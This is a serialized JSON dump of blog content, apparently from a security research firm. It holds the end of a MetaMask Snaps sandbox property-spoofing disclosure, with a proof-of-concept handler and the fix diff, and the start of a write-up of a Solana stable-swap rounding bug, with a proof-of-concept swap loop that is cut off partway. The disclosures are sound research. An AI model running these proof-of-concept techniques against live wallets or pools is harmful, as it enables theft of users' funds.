}]\n",{"type":23,"tag":230,"props":4767,"children":4769},{"class":232,"line":4768},33,[4770],{"type":23,"tag":230,"props":4771,"children":4772},{"style":274},[4773],{"type":29,"value":1552},{"type":23,"tag":230,"props":4775,"children":4777},{"class":232,"line":4776},34,[4778],{"type":23,"tag":230,"props":4779,"children":4780},{"style":274},[4781],{"type":29,"value":1331},{"type":23,"tag":230,"props":4783,"children":4785},{"class":232,"line":4784},35,[4786],{"type":23,"tag":230,"props":4787,"children":4788},{"emptyLinePlaceholder":18},[4789],{"type":29,"value":459},{"type":23,"tag":230,"props":4791,"children":4793},{"class":232,"line":4792},36,[4794,4798,4802,4806,4810,4814,4818],{"type":23,"tag":230,"props":4795,"children":4796},{"style":866},[4797],{"type":29,"value":3903},{"type":23,"tag":230,"props":4799,"children":4800},{"style":262},[4801],{"type":29,"value":4494},{"type":23,"tag":230,"props":4803,"children":4804},{"style":274},[4805],{"type":29,"value":312},{"type":23,"tag":230,"props":4807,"children":4808},{"style":294},[4809],{"type":29,"value":3372},{"type":23,"tag":230,"props":4811,"children":4812},{"style":274},[4813],{"type":29,"value":302},{"type":23,"tag":230,"props":4815,"children":4816},{"style":262},[4817],{"type":29,"value":4511},{"type":23,"tag":230,"props":4819,"children":4820},{"style":274},[4821],{"type":29,"value":753},{"type":23,"tag":230,"props":4823,"children":4825},{"class":232,"line":4824},37,[4826],{"type":23,"tag":230,"props":4827,"children":4828},{"style":274},[4829],{"type":29,"value":975},{"type":23,"tag":230,"props":4831,"children":4833},{"class":232,"line":4832},38,[4834],{"type":23,"tag":230,"props":4835,"children":4836},{"emptyLinePlaceholder":18},[4837],{"type":29,"value":459},{"type":23,"tag":230,"props":4839,"children":4841},{"class":232,"line":4840},39,[4842,4846,4850,4855,4859,4864,4868,4873,4878,4882,4886,4891,4895],{"type":23,"tag":230,"props":4843,"children":4844},{"style":866},[4845],{"type":29,"value":2898},{"type":23,"tag":230,"props":4847,"children":4848},{"style":256},[4849],{"type":29,"value":3814},{"type":23,"tag":230,"props":4851,"children":4852},{"style":294},[4853],{"type":29,"value":4854}," onRpcRequest",{"type":23,"tag":230,"props":4856,"children":4857},{"style":268},[4858],{"type":29,"value":218},{"type":23,"tag":230,"props":4860,"children":4861},{"style":676},[4862],{"type":29,"value":4863}," OnRpcRequestHandler",{"type":23,"tag":230,"props":4865,"children":4866},{"style":268},[4867],{"type":29,"value":271},{"type":23,"tag":230,"props":4869,"children":4870},{"style":274},[4871],{"type":29,"value":4872}," ({ ",{"type":23,"tag":230,"props":4874,"children":4875},{"style":262},[4876],{"type":29,"value":4877},"origin",{"type":23,"tag":230,"props":4879,"children":4880},{"style":274},[4881],{"type":29,"value":684},{"type":23,"tag":230,"props":4883,"children":4884},{"style":262},[4885],{"type":29,"value":3372},{"type":23,"tag":230,"props":4887,"children":4888},{"style":274},[4889],{"type":29,"value":4890}," }) ",{"type":23,"tag":230,"props":4892,"children":4893},{"style":256},[4894],{"type":29,"value":2671},{"type":23,"tag":230,"props":4896,"children":4897},{"style":274},[4898],{"type":29,"value":277},{"type":23,"tag":230,"props":4900,"children":4902},{"class":232,"line":4901},40,[4903],{"type":23,"tag":230,"props":4904,"children":4905},{"emptyLinePlaceholder":18},[4906],{"type":29,"value":459},{"type":23,"tag":230,"props":4908,"children":4910},{"class":232,"line":4909},41,[4911,4916,4920,4924,4928,4932],{"type":23,"tag":230,"props":4912,"children":4913},{"style":866},[4914],{"type":29,"value":4915},"  switch",{"type":23,"tag":230,"props":4917,"children":4918},{"style":274},[4919],{"type":29,"value":664},{"type":23,"tag":230,"props":4921,"children":4922},{"style":262},[4923],{"type":29,"value":3372},{"type":23,"tag":230,"props":4925,"children":4926},{"style":274},[4927],{"type":29,"value":312},{"type":23,"tag":230,"props":4929,"children":4930},{"style":262},[4931],{"type":29,"value":3002},{"type":23,"tag":230,"props":4933,"children":4934},{"style":274},[4935],{"type":29,"value":827},{"type":23,"tag":230,"props":4937,"children":4939},{"class":232,"line":4938},42,[4940,4945,4950],{"type":23,"tag":230,"props":4941,"children":4942},{"style":866},[4943],{"type":29,"value":4944},"    case",{"type":23,"tag":230,"props":4946,"children":4947},{"style":380},[4948],{"type":29,"value":4949}," 'json'",{"type":23,"tag":230,"props":4951,"children":4952},{"style":274},[4953],{"type":29,"value":4954},":\n",{"type":23,"tag":230,"props":4956,"children":4958},{"class":232,"line":4957},43,[4959,4963,4967],{"type":23,"tag":230,"props":4960,"children":4961},{"style":866},[4962],{"type":29,"value":4063},{"type":23,"tag":230,"props":4964,"children":4965},{"style":294},[4966],{"type":29,"value":4311},{"type":23,"tag":230,"props":4968,"children":4969},{"style":274},[4970],{"type":29,"value":2140},{"type":23,"tag":230,"props":4972,"children":4974},{"class":232,"line":4973},44,[4975,4979,4984],{"type":23,"tag":230,"props":4976,"children":4977},{"style":866},[4978],{"type":29,"value":4944},{"type":23,"tag":230,"props":4980,"children":4981},{"style":380},[4982],{"type":29,"value":4983}," 'transaction'",{"type":23,"tag":230,"props":4985,"children":4986},{"style":274},[4987],{"type":29,"value":4954},{"type":23,"tag":230,"props":4989,"children":4991},{"class":232,"line":4990},45,[4992,4996,5000],{"type":23,"tag":230,"props":4993,"children":4994},{"style":866},[4995],{"type":29,"value":4063},{"type":23,"tag":230,"props":4997,"children":4998},{"style":294},[4999],{"type":29,"value":4552},{"type":23,"tag":230,"props":5001,"children":5002},{"style":274},[5003],{"type":29,"value":2140},{"type":23,"tag":230,"props":5005,"children":5007},{"class":232,"line":5006},46,[5008,5013],{"type":23,"tag":230,"props":5009,"children":5010},{"style":866},[5011],{"type":29,"value":5012},"    default",{"type":23,"tag":230,"props":5014,"children":5015},{"style":274},[5016],{"type":29,"value":4954},{"type":23,"tag":230,"props":5018,"children":5020},{"class":232,"line":5019},47,[5021,5026,5030,5035,5039,5044],{"type":23,"tag":230,"props":5022,"children":5023},{"style":866},[5024],{"type":29,"value":5025},"      throw",{"type":23,"tag":230,"props":5027,"children":5028},{"style":256},[5029],{"type":29,"value":291},{"type":23,"tag":230,"props":5031,"children":5032},{"style":294},[5033],{"type":29,"value":5034}," Error",{"type":23,"tag":230,"props":5036,"children":5037},{"style":274},[5038],{"type":29,"value":302},{"type":23,"tag":230,"props":5040,"children":5041},{"style":380},[5042],{"type":29,"value":5043},"'Method not found.'",{"type":23,"tag":230,"props":5045,"children":5046},{"style":274},[5047],{"type":29,"value":753},{"type":23,"tag":230,"props":5049,"children":5051},{"class":232,"line":5050},48,[5052],{"type":23,"tag":230,"props":5053,"children":5054},{"style":274},[5055],{"type":29,"value":1331},{"type":23,"tag":230,"props":5057,"children":5059},{"class":232,"line":5058},49,[5060],{"type":23,"tag":230,"props":5061,"children":5062},{"style":274},[5063],{"type":29,"value":450},{"type":23,"tag":32,"props":5065,"children":5066},{},[5067,5069,5075,5077,5082],{"type":29,"value":5068},"We set ",{"type":23,"tag":71,"props":5070,"children":5072},{"className":5071},[],[5073],{"type":29,"value":5074},"x.method = \"snap_dialog\"",{"type":29,"value":5076}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":71,"props":5078,"children":5080},{"className":5079},[],[5081],{"type":29,"value":4241},{"type":29,"value":5083}," after.",{"type":23,"tag":59,"props":5085,"children":5087},{"id":5086},"mitigation",[5088],{"type":29,"value":5089},"Mitigation",{"type":23,"tag":32,"props":5091,"children":5092},{},[5093,5095,5100,5102,5109],{"type":29,"value":5094},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":71,"props":5096,"children":5098},{"className":5097},[],[5099],{"type":29,"value":3779},{"type":29,"value":5101}," function execution. The patch was introduced on commit ",{"type":23,"tag":181,"props":5103,"children":5106},{"href":5104,"rel":5105},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[185],[5107],{"type":29,"value":5108},"168ff08",{"type":29,"value":5110}," with the following changes:",{"type":23,"tag":220,"props":5112,"children":5116},{"className":5113,"code":5114,"language":5115,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[5117],{"type":23,"tag":71,"props":5118,"children":5119},{"__ignoreMap":7},[5120,5128,5136,5144,5153],{"type":23,"tag":230,"props":5121,"children":5122},{"class":232,"line":233},[5123],{"type":23,"tag":230,"props":5124,"children":5125},{"style":274},[5126],{"type":29,"value":5127},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":230,"props":5129,"children":5130},{"class":232,"line":243},[5131],{"type":23,"tag":230,"props":5132,"children":5133},{"style":380},[5134],{"type":29,"value":5135},"-      assertEthereumOutboundRequest(args);\n",{"type":23,"tag":230,"props":5137,"children":5138},{"class":232,"line":252},[5139],{"type":23,"tag":230,"props":5140,"children":5141},{"style":380},[5142],{"type":29,"value":5143},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":230,"props":5145,"children":5146},{"class":232,"line":280},[5147],{"type":23,"tag":230,"props":5148,"children":5150},{"style":5149},"--shiki-default:#B5CEA8",[5151],{"type":29,"value":5152},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":230,"props":5154,"children":5155},{"class":232,"line":334},[5156],{"type":23,"tag":230,"props":5157,"children":5158},{"style":5149},[5159],{"type":29,"value":5160},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":24,"props":5162,"children":5164},{"id":5163},"conclusion",[5165],{"type":29,"value":5166},"Conclusion",{"type":23,"tag":32,"props":5168,"children":5169},{},[5170],{"type":29,"value":5171},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":32,"props":5173,"children":5174},{},[5175],{"type":29,"value":5176},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":5178,"props":5179,"children":5180},"style",{},[5181],{"type":29,"value":5182},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":243,"depth":243,"links":5184},[5185,5186,5193,5201],{"id":26,"depth":243,"text":30},{"id":49,"depth":243,"text":52,"children":5187},[5188,5189,5190,5191,5192],{"id":61,"depth":252,"text":64},{"id":134,"depth":252,"text":137},{"id":171,"depth":252,"text":174},{"id":1636,"depth":252,"text":1639},{"id":1998,"depth":252,"text":2001},{"id":2796,"depth":243,"text":2799,"children":5194},[5195,5196,5197,5198,5199,5200],{"id":2802,"depth":252,"text":2805},{"id":2846,"depth":252,"text":2849},{"id":3765,"depth":252,"text":3768},{"id":4195,"depth":252,"text":4198},{"id":4213,"depth":252,"text":4216},{"id":5086,"depth":252,"text":5089},{"id":5163,"depth":243,"text":5166},"markdown","content:blog:2023-11-01-metamask-snaps.md","content","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps","md",[5209,7718,8052,11591,15944,21065,31309,32740,33503,37707,42213,47645,48802,52293,62688,69417,71256,72966,77631,91530,94251,99040,101480,103825,109611,125431,133731,143655,148933,158326,160663],{"_path":5210,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5211,"description":5212,"image":5213,"date":5217,"isFeatured":18,"tags":5218,"onBlogPage":18,"body":5221,"_type":5202,"_id":7715,"_source":5204,"_file":7716,"_stem":7717,"_extension":5207},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":5214,"width":5215,"height":5216},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[5219,5220],"solana","report",{"type":20,"children":5222,"toc":7709},[5223,5237,5242,5247,5255,5261,5266,5271,5280,5288,5293,5298,5306,5311,5316,5694,5704,5709,6235,6240,6248,6255,6261,6266,6271,6276,6283,6295,6300,6312,6551,6556,6561,6567,6572,6577,6623,6628,6636,6641,6646,6651,6796,6809,6925,6939,6947,6961,6969,6982,6987,6999,7007,7029,7647,7653,7658,7670,7683,7690,7695,7700,7705],{"type":23,"tag":32,"props":5224,"children":5225},{},[5226,5228,5235],{"type":29,"value":5227},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":181,"props":5229,"children":5232},{"href":5230,"rel":5231},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[185],[5233],{"type":29,"value":5234},"spl-token-swap",{"type":29,"value":5236},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":32,"props":5238,"children":5239},{},[5240],{"type":29,"value":5241},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":32,"props":5243,"children":5244},{},[5245],{"type":29,"value":5246},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":32,"props":5248,"children":5249},{},[5250],{"type":23,"tag":2258,"props":5251,"children":5252},{},[5253],{"type":29,"value":5254},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":24,"props":5256,"children":5258},{"id":5257},"discovery",[5259],{"type":29,"value":5260},"Discovery",{"type":23,"tag":32,"props":5262,"children":5263},{},[5264],{"type":29,"value":5265},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":32,"props":5267,"children":5268},{},[5269],{"type":29,"value":5270},"After a while, he noticed something weird..",{"type":23,"tag":5272,"props":5273,"children":5274},"blockquote",{},[5275],{"type":23,"tag":32,"props":5276,"children":5277},{},[5278],{"type":29,"value":5279},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":220,"props":5281,"children":5283},{"code":5282},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[5284],{"type":23,"tag":71,"props":5285,"children":5286},{"__ignoreMap":7},[5287],{"type":29,"value":5282},{"type":23,"tag":32,"props":5289,"children":5290},{},[5291],{"type":29,"value":5292},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":32,"props":5294,"children":5295},{},[5296],{"type":29,"value":5297},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":220,"props":5299,"children":5301},{"code":5300},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[5302],{"type":23,"tag":71,"props":5303,"children":5304},{"__ignoreMap":7},[5305],{"type":29,"value":5300},{"type":23,"tag":32,"props":5307,"children":5308},{},[5309],{"type":29,"value":5310},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":32,"props":5312,"children":5313},{},[5314],{"type":29,"value":5315},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":220,"props":5317,"children":5321},{"code":5318,"language":5319,"meta":7,"className":5320,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[5322],{"type":23,"tag":71,"props":5323,"children":5324},{"__ignoreMap":7},[5325,5333,5364,5397,5499,5604,5630,5642,5659,5679,5687],{"type":23,"tag":230,"props":5326,"children":5327},{"class":232,"line":233},[5328],{"type":23,"tag":230,"props":5329,"children":5330},{"style":237},[5331],{"type":29,"value":5332},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":230,"props":5334,"children":5335},{"class":232,"line":243},[5336,5341,5346,5351,5355,5360],{"type":23,"tag":230,"props":5337,"children":5338},{"style":256},[5339],{"type":29,"value":5340},"    let",{"type":23,"tag":230,"props":5342,"children":5343},{"style":256},[5344],{"type":29,"value":5345}," mut",{"type":23,"tag":230,"props":5347,"children":5348},{"style":262},[5349],{"type":29,"value":5350}," y",{"type":23,"tag":230,"props":5352,"children":5353},{"style":268},[5354],{"type":29,"value":271},{"type":23,"tag":230,"props":5356,"children":5357},{"style":262},[5358],{"type":29,"value":5359}," d_val",{"type":23,"tag":230,"props":5361,"children":5362},{"style":274},[5363],{"type":29,"value":511},{"type":23,"tag":230,"props":5365,"children":5366},{"class":232,"line":252},[5367,5372,5377,5382,5387,5392],{"type":23,"tag":230,"props":5368,"children":5369},{"style":866},[5370],{"type":29,"value":5371},"    for",{"type":23,"tag":230,"props":5373,"children":5374},{"style":262},[5375],{"type":29,"value":5376}," _",{"type":23,"tag":230,"props":5378,"children":5379},{"style":256},[5380],{"type":29,"value":5381}," in",{"type":23,"tag":230,"props":5383,"children":5384},{"style":5149},[5385],{"type":29,"value":5386}," 0",{"type":23,"tag":230,"props":5388,"children":5389},{"style":268},[5390],{"type":29,"value":5391},"..",{"type":23,"tag":230,"props":5393,"children":5394},{"style":274},[5395],{"type":29,"value":5396},"ITERATIONS {\n",{"type":23,"tag":230,"props":5398,"children":5399},{"class":232,"line":280},[5400,5405,5409,5414,5418,5423,5427,5431,5435,5440,5444,5449,5454,5458,5463,5468,5473,5478,5482,5486,5490,5495],{"type":23,"tag":230,"props":5401,"children":5402},{"style":256},[5403],{"type":29,"value":5404},"        let",{"type":23,"tag":230,"props":5406,"children":5407},{"style":274},[5408],{"type":29,"value":664},{"type":23,"tag":230,"props":5410,"children":5411},{"style":262},[5412],{"type":29,"value":5413},"y_new",{"type":23,"tag":230,"props":5415,"children":5416},{"style":274},[5417],{"type":29,"value":684},{"type":23,"tag":230,"props":5419,"children":5420},{"style":262},[5421],{"type":29,"value":5422},"_",{"type":23,"tag":230,"props":5424,"children":5425},{"style":274},[5426],{"type":29,"value":703},{"type":23,"tag":230,"props":5428,"children":5429},{"style":268},[5430],{"type":29,"value":863},{"type":23,"tag":230,"props":5432,"children":5433},{"style":274},[5434],{"type":29,"value":664},{"type":23,"tag":230,"props":5436,"children":5437},{"style":294},[5438],{"type":29,"value":5439},"checked_u8_power",{"type":23,"tag":230,"props":5441,"children":5442},{"style":274},[5443],{"type":29,"value":302},{"type":23,"tag":230,"props":5445,"children":5446},{"style":268},[5447],{"type":29,"value":5448},"&",{"type":23,"tag":230,"props":5450,"children":5451},{"style":262},[5452],{"type":29,"value":5453},"y",{"type":23,"tag":230,"props":5455,"children":5456},{"style":274},[5457],{"type":29,"value":684},{"type":23,"tag":230,"props":5459,"children":5460},{"style":5149},[5461],{"type":29,"value":5462},"2",{"type":23,"tag":230,"props":5464,"children":5465},{"style":274},[5466],{"type":29,"value":5467},")",{"type":23,"tag":230,"props":5469,"children":5470},{"style":268},[5471],{"type":29,"value":5472},"?.",{"type":23,"tag":230,"props":5474,"children":5475},{"style":294},[5476],{"type":29,"value":5477},"checked_add",{"type":23,"tag":230,"props":5479,"children":5480},{"style":274},[5481],{"type":29,"value":302},{"type":23,"tag":230,"props":5483,"children":5484},{"style":262},[5485],{"type":29,"value":2148},{"type":23,"tag":230,"props":5487,"children":5488},{"style":274},[5489],{"type":29,"value":5467},{"type":23,"tag":230,"props":5491,"children":5492},{"style":268},[5493],{"type":29,"value":5494},"?",{"type":23,"tag":230,"props":5496,"children":5497},{"style":274},[5498],{"type":29,"value":4516},{"type":23,"tag":230,"props":5500,"children":5501},{"class":232,"line":334},[5502,5507,5512,5516,5521,5525,5529,5533,5537,5541,5545,5549,5553,5557,5562,5566,5570,5575,5579,5584,5588,5592,5596,5600],{"type":23,"tag":230,"props":5503,"children":5504},{"style":268},[5505],{"type":29,"value":5506},"            .",{"type":23,"tag":230,"props":5508,"children":5509},{"style":294},[5510],{"type":29,"value":5511},"checked_ceil_div",{"type":23,"tag":230,"props":5513,"children":5514},{"style":274},[5515],{"type":29,"value":302},{"type":23,"tag":230,"props":5517,"children":5518},{"style":294},[5519],{"type":29,"value":5520},"checked_u8_mul",{"type":23,"tag":230,"props":5522,"children":5523},{"style":274},[5524],{"type":29,"value":302},{"type":23,"tag":230,"props":5526,"children":5527},{"style":268},[5528],{"type":29,"value":5448},{"type":23,"tag":230,"props":5530,"children":5531},{"style":262},[5532],{"type":29,"value":5453},{"type":23,"tag":230,"props":5534,"children":5535},{"style":274},[5536],{"type":29,"value":684},{"type":23,"tag":230,"props":5538,"children":5539},{"style":5149},[5540],{"type":29,"value":5462},{"type":23,"tag":230,"props":5542,"children":5543},{"style":274},[5544],{"type":29,"value":5467},{"type":23,"tag":230,"props":5546,"children":5547},{"style":268},[5548],{"type":29,"value":5472},{"type":23,"tag":230,"props":5550,"children":5551},{"style":294},[5552],{"type":29,"value":5477},{"type":23,"tag":230,"props":5554,"children":5555},{"style":274},[5556],{"type":29,"value":302},{"type":23,"tag":230,"props":5558,"children":5559},{"style":262},[5560],{"type":29,"value":5561},"b",{"type":23,"tag":230,"props":5563,"children":5564},{"style":274},[5565],{"type":29,"value":5467},{"type":23,"tag":230,"props":5567,"children":5568},{"style":268},[5569],{"type":29,"value":5472},{"type":23,"tag":230,"props":5571,"children":5572},{"style":294},[5573],{"type":29,"value":5574},"checked_sub",{"type":23,"tag":230,"props":5576,"children":5577},{"style":274},[5578],{"type":29,"value":302},{"type":23,"tag":230,"props":5580,"children":5581},{"style":262},[5582],{"type":29,"value":5583},"d_val",{"type":23,"tag":230,"props":5585,"children":5586},{"style":274},[5587],{"type":29,"value":5467},{"type":23,"tag":230,"props":5589,"children":5590},{"style":268},[5591],{"type":29,"value":5494},{"type":23,"tag":230,"props":5593,"children":5594},{"style":274},[5595],{"type":29,"value":5467},{"type":23,"tag":230,"props":5597,"children":5598},{"style":268},[5599],{"type":29,"value":5494},{"type":23,"tag":230,"props":5601,"children":5602},{"style":274},[5603],{"type":29,"value":511},{"type":23,"tag":230,"props":5605,"children":5606},{"class":232,"line":371},[5607,5612,5617,5622,5626],{"type":23,"tag":230,"props":5608,"children":5609},{"style":866},[5610],{"type":29,"value":5611},"        if",{"type":23,"tag":230,"props":5613,"children":5614},{"style":262},[5615],{"type":29,"value":5616}," y_new",{"type":23,"tag":230,"props":5618,"children":5619},{"style":268},[5620],{"type":29,"value":5621}," ==",{"type":23,"tag":230,"props":5623,"children":5624},{"style":262},[5625],{"type":29,"value":5350},{"type":23,"tag":230,"props":5627,"children":5628},{"style":274},[5629],{"type":29,"value":277},{"type":23,"tag":230,"props":5631,"children":5632},{"class":232,"line":391},[5633,5638],{"type":23,"tag":230,"props":5634,"children":5635},{"style":866},[5636],{"type":29,"value":5637},"            break",{"type":23,"tag":230,"props":5639,"children":5640},{"style":274},[5641],{"type":29,"value":511},{"type":23,"tag":230,"props":5643,"children":5644},{"class":232,"line":400},[5645,5650,5655],{"type":23,"tag":230,"props":5646,"children":5647},{"style":274},[5648],{"type":29,"value":5649},"        } ",{"type":23,"tag":230,"props":5651,"children":5652},{"style":866},[5653],{"type":29,"value":5654},"else",{"type":23,"tag":230,"props":5656,"children":5657},{"style":274},[5658],{"type":29,"value":277},{"type":23,"tag":230,"props":5660,"children":5661},{"class":232,"line":444},[5662,5667,5671,5675],{"type":23,"tag":230,"props":5663,"children":5664},{"style":262},[5665],{"type":29,"value":5666},"            y",{"type":23,"tag":230,"props":5668,"children":5669},{"style":268},[5670],{"type":29,"value":271},{"type":23,"tag":230,"props":5672,"children":5673},{"style":262},[5674],{"type":29,"value":5616},{"type":23,"tag":230,"props":5676,"children":5677},{"style":274},[5678],{"type":29,"value":511},{"type":23,"tag":230,"props":5680,"children":5681},{"class":232,"line":453},[5682],{"type":23,"tag":230,"props":5683,"children":5684},{"style":274},[5685],{"type":29,"value":5686},"        }\n",{"type":23,"tag":230,"props":5688,"children":5689},{"class":232,"line":462},[5690],{"type":23,"tag":230,"props":5691,"children":5692},{"style":274},[5693],{"type":29,"value":1552},{"type":23,"tag":32,"props":5695,"children":5696},{},[5697,5702],{"type":23,"tag":2258,"props":5698,"children":5699},{},[5700],{"type":29,"value":5701},"approximate",{"type":29,"value":5703},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":32,"props":5705,"children":5706},{},[5707],{"type":29,"value":5708},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":220,"props":5710,"children":5712},{"code":5711,"language":5319,"meta":7,"className":5320,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[5713],{"type":23,"tag":71,"props":5714,"children":5715},{"__ignoreMap":7},[5716,5724,5764,5772,5801,5828,5844,5860,5885,5901,5917,5933,5949,5965,5977,5985,6006,6013,6021,6089,6096,6125,6132,6162,6169,6228],{"type":23,"tag":230,"props":5717,"children":5718},{"class":232,"line":233},[5719],{"type":23,"tag":230,"props":5720,"children":5721},{"style":237},[5722],{"type":29,"value":5723},"// from sbtc to renbtc\n",{"type":23,"tag":230,"props":5725,"children":5726},{"class":232,"line":243},[5727,5732,5737,5741,5745,5750,5755,5760],{"type":23,"tag":230,"props":5728,"children":5729},{"style":866},[5730],{"type":29,"value":5731},"for",{"type":23,"tag":230,"props":5733,"children":5734},{"style":262},[5735],{"type":29,"value":5736}," i",{"type":23,"tag":230,"props":5738,"children":5739},{"style":256},[5740],{"type":29,"value":5381},{"type":23,"tag":230,"props":5742,"children":5743},{"style":5149},[5744],{"type":29,"value":5386},{"type":23,"tag":230,"props":5746,"children":5747},{"style":268},[5748],{"type":29,"value":5749}," ..",{"type":23,"tag":230,"props":5751,"children":5752},{"style":5149},[5753],{"type":29,"value":5754}," 50",{"type":23,"tag":230,"props":5756,"children":5757},{"style":676},[5758],{"type":29,"value":5759},"u8",{"type":23,"tag":230,"props":5761,"children":5762},{"style":274},[5763],{"type":29,"value":277},{"type":23,"tag":230,"props":5765,"children":5766},{"class":232,"line":252},[5767],{"type":23,"tag":230,"props":5768,"children":5769},{"style":237},[5770],{"type":29,"value":5771},"    // create swap transaction\n",{"type":23,"tag":230,"props":5773,"children":5774},{"class":232,"line":280},[5775,5779,5783,5788,5792,5797],{"type":23,"tag":230,"props":5776,"children":5777},{"style":256},[5778],{"type":29,"value":5340},{"type":23,"tag":230,"props":5780,"children":5781},{"style":256},[5782],{"type":29,"value":5345},{"type":23,"tag":230,"props":5784,"children":5785},{"style":262},[5786],{"type":29,"value":5787}," swap_instruction",{"type":23,"tag":230,"props":5789,"children":5790},{"style":268},[5791],{"type":29,"value":271},{"type":23,"tag":230,"props":5793,"children":5794},{"style":294},[5795],{"type":29,"value":5796}," swap",{"type":23,"tag":230,"props":5798,"children":5799},{"style":274},[5800],{"type":29,"value":619},{"type":23,"tag":230,"props":5802,"children":5803},{"class":232,"line":334},[5804,5809,5814,5819,5823],{"type":23,"tag":230,"props":5805,"children":5806},{"style":268},[5807],{"type":29,"value":5808},"        &",{"type":23,"tag":230,"props":5810,"children":5811},{"style":274},[5812],{"type":29,"value":5813},"spl_token",{"type":23,"tag":230,"props":5815,"children":5816},{"style":268},[5817],{"type":29,"value":5818},"::",{"type":23,"tag":230,"props":5820,"children":5821},{"style":294},[5822],{"type":29,"value":1437},{"type":23,"tag":230,"props":5824,"children":5825},{"style":274},[5826],{"type":29,"value":5827},"(),\n",{"type":23,"tag":230,"props":5829,"children":5830},{"class":232,"line":371},[5831,5835,5840],{"type":23,"tag":230,"props":5832,"children":5833},{"style":268},[5834],{"type":29,"value":5808},{"type":23,"tag":230,"props":5836,"children":5837},{"style":262},[5838],{"type":29,"value":5839},"swap_pubkey",{"type":23,"tag":230,"props":5841,"children":5842},{"style":274},[5843],{"type":29,"value":388},{"type":23,"tag":230,"props":5845,"children":5846},{"class":232,"line":391},[5847,5851,5856],{"type":23,"tag":230,"props":5848,"children":5849},{"style":268},[5850],{"type":29,"value":5808},{"type":23,"tag":230,"props":5852,"children":5853},{"style":262},[5854],{"type":29,"value":5855},"swap_authority_pubkey",{"type":23,"tag":230,"props":5857,"children":5858},{"style":274},[5859],{"type":29,"value":388},{"type